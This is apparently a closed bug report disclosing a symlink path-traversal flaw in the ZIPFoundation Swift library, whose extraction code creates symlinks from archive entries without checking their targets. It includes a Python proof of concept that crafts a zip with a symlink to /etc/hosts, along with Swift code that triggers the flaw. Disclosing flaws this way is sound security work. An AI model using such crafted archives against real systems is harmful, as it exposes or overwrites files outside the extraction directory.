Closed
Description
Summary
The package does not check if symlinks are pointing to paths outside the extraction directory
Steps to Reproduce
1- Generate payload.zip using the following code:
import zipfile
def compress_file(filename):
zipInfo = zipfile.ZipInfo(".")
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = filename
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, "/etc/hosts")
filename = 'evil_symlink'
compress_file(filename)2- Extract payload.zip using unzipItem
import Foundation
import ZIPFoundation
let fileManager = FileManager()
var sourceURL = URL(fileURLWithPath: "/path/to/payload.zip")
var destinationURL = URL(fileURLWithPath: "/path/to/")
do {
try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
try fileManager.unzipItem(at: sourceURL, to: destinationURL)
} catch {
print("Extraction of ZIP archive failed with error:\(error)")
}Expected Results
evil_symlink is not linked back after extraction
Actual Results
evil_symlink is linked back after extraction
Technical details
Upon extraction, the package passes the path coming from the zip entry directly to fileManager.createSymbolicLink without checking that it is located within extraction directory
case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}Metadata
Metadata
Assignees
Labels
No labels